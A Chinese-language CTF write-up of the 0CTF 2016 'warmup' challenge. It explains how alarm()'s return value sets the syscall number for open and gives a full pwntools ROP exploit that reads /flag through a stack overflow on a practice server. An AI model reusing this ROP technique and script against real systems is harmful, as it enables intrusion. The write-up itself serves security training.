warmup
查看保护
程序很少,保护开的也少,栈溢出漏洞。 正常rop明显是不行的,这个程序不依靠glibc,gadget构造不出来system这一类的系统调用。这里有个姿势(alarm函数)参考了alarm函数有一个特性,如果多次调用alarm,那么alarm就会返回前一个alarm开始到现在,还剩下多长时间
ha1vk
这里有write read
想要使用orw还差一个open,根据上面的alarm特性可以构造出sleep(5)使得0xa - 5 = 5成功将5写进eax。就可以调用open这个系统调用了。可以先将/flag这个字符串写入data_addr
open(data_addr, 0)
read(3, data_addr, 0x30)
write(0, data_addr, 0x30)
构造上面这三个即可拿到flag。
from pwn import *
from time import sleep
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28957)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
read_addr = 0x804811D
vuln_addr = 0x804815A
write_addr = 0x8048135
data_addr = 0x80491BC
p1 = b'a' * (0x20) + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data_addr) + p32(0x10)
r.sendafter('Welcome to 0CTF 2016!', p1)
r.send(b'/flag'.ljust(0x10, b'\x00'))
sleep(5)
alarm_addr = 0x804810D
syscall = 0x804813a
#open
p2 = b'a' * 0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data_addr) + p32(0)
r.send(p2)
#read
p3 = b'a' * 0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data_addr) + p32(0x40)
r.send(p3)
#write
p4 = b'a' * 0x20 + p32(write_addr) + p32(0) + p32(0) + p32(data_addr) + p32(0x40)
r.send(p4)
r.interactive()